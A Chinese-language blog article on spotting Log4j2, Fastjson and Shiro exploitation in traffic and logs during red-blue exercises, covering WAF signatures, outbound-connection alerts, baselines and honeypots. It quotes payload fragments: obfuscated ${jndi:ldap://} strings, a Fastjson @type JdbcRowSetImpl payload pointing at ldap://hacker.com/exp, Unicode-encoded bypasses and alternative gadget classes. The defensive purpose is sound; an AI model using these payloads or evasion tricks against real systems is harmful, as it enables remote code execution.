【HW系列】— 从流量视角拆解Log4j2、Fastjson、Shiro三大漏洞的实战检测

张开发
2026/4/11 16:39:17 15 分钟阅读

分享文章

【HW系列】— 从流量视角拆解Log4j2、Fastjson、Shiro三大漏洞的实战检测
1. Log4j2漏洞的流量特征与实战检测第一次在实战中遇到Log4j2漏洞时我盯着流量日志里那个诡异的${jndi:ldap://}字符串看了半天。这种看起来像模板引擎语法的东西居然能直接让服务器执行远程代码后来在多次HW行动中我发现这个漏洞的检测其实有章可循。1.1 请求中的蛛丝马迹最明显的特征当然是${jndi:}这个标志性字符串。但实战中攻击者很少这么老实他们会用各种姿势玩变形记大小写变形${${lower:J}ndi:ldap://} 这种把J字母单独用lower函数包裹的骚操作特殊符号混淆${::-J}ndi这种用特殊符号分割的写法就像把单词拆成乐高积木多重编码%24%7Bjndi%3Aldap这种经过URL编码的变体我见过最夸张的被编码了5层有个很实用的检测技巧在WAF规则里不仅要匹配jndi:ldap还要关注dns协议。很多攻击者喜欢用${jndi:dns://}来外带数据因为DNS请求通常不会被严格监控。1.2 网络交互的异常信号当漏洞触发后真正的故事才开始。服务器会像接到神秘任务的特工一样主动联系外部控制服务器。这时候要重点监控非常用端口的外联比如1389(LDAP)、1099(RMI)这些平时业务根本用不到的端口DNS查询的异常突然出现对陌生域名如hacker.dnslog.cn的查询HTTP下载.class文件攻击的第二阶段往往会从HTTP服务器下载恶意类我在某次防守中就是靠发现内网服务器突然向境外IP的1389端口发起连接才定位到已经被攻陷的机器。当时这个连接尝试被伪装成正常的API调用但端口暴露了它的真实目的。1.3 日志中的犯罪现场应用日志是最后的真相帝。即使攻击者绕过了所有流量检测这里总会留下痕迹2023-03-15 14:22:33 [http-nio-8080-exec-4] ERROR o.a.l.l.JndiLookup - Error looking up JNDI resource [ldap://evil.com/Exploit]这种报错就像犯罪现场的血迹一样明显。更隐蔽的线索是ClassNotFound异常说明服务器尝试加载了不存在的类——很可能是远程加载失败了。2. Fastjson漏洞的流量解剖课Fastjson漏洞就像JSON数据里的特洛伊木马表面人畜无害里面藏着千军万马。我第一次分析这类流量时完全没想到一个普通的type字段能有这么大杀伤力。2.1 危险的JSON结构攻击者的POST请求通常带着这样的礼物{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:ldap://hacker.com/exp, autoCommit:true }这种结构有几个死亡特征type指定危险类像JdbcRowSetImpl这种自带JNDI注入能力的类隐藏的JNDI调用通过dataSourceName字段间接触发autoCommit的陷阱这个看似无害的布尔值实际是触发开关2.2 响应中的异常信号Fastjson漏洞的响应包就像病人的体检报告能看出很多问题400/500状态码集中爆发因为恶意JSON结构会导致解析错误错误信息泄露经常能看到fastjson.JSONException这样的堆栈信息DNS查询痕迹无回显攻击时响应里可能藏着dnslog.cn这样的域名有次排查时我发现某个API突然返回大量500错误错误信息里反复出现autoCommit字样顺藤摸瓜就找到了攻击流量。2.3 高级绕过技巧现在的攻击者越来越狡猾他们会对关键字段进行Unicode编码比如\u0040\u0074\u0079\u0070\u0065代替type使用冷门危险类比如org.apache.tomcat.dbcp.BasicDataSource嵌套多层JSON结构把恶意代码藏在深层嵌套里逃避简单检测3. Shiro漏洞的Cookie疑云Shiro的rememberMe漏洞是我见过最美味的漏洞——攻击线索都藏在Cookie这个甜品里。记得第一次分析Shiro攻击流量时那个超长的rememberMe值让我印象深刻。3.1 Cookie里的密码战正常的rememberMe值是经过AES加密的Base64字符串长度通常可控。但攻击流量中会出现超长字符串比如超过10KB的rememberMe值很可能是内存马注入特殊标记用$$$包裹的Base64字符串如$$$d2hvYW1p$$$解码后是whoami爆破特征短时间内大量不同rememberMe值的请求就像在试保险箱密码3.2 响应中的微妙变化Shiro的响应就像在玩大家来找茬deleteMe标记无效rememberMe时会返回Set-Cookie: rememberMedeleteMe响应时间异常密钥爆破成功时可能会有固定延迟命令回显成功利用后可能返回Base64编码的命令输出有次应急响应中我发现某个管理接口的响应时间总是固定延迟3秒后来证实攻击者正在用时间盲注的方式爆破Shiro密钥。3.3 工具特征识别自动化攻击工具会留下明显指纹特殊User-Agent比如shiro_attack工具的自定义标识固定请求间隔工具通常以固定频率发送请求payload模式化工具的payload往往有固定结构特征4. 实战检测策略进阶在多次HW行动中我总结出一套组合检测方法比单纯依赖特征检测更有效。4.1 多维度关联分析把以下数据源关联起来看WAF日志捕获初始攻击尝试网络流量监控异常外联行为应用日志检查错误和异常信息HIDS告警发现可疑进程行为4.2 行为基线检测为每个服务建立正常行为基线记录正常的API调用模式统计平均响应长度和时间标记合法的外联地址和端口当出现偏离基线的行为时立即告警这种方法能有效检测0day攻击。4.3 蜜罐诱捕技巧在内网部署伪装成易受攻击服务的蜜罐故意使用存在漏洞的Log4j2/Fastjson/Shiro版本监控对这些服务的所有请求记录攻击者的IP、技术和工具链有次我们通过蜜罐捕获到攻击者在内网横向移动的全过程甚至拿到了他们使用的自定义攻击工具。

更多文章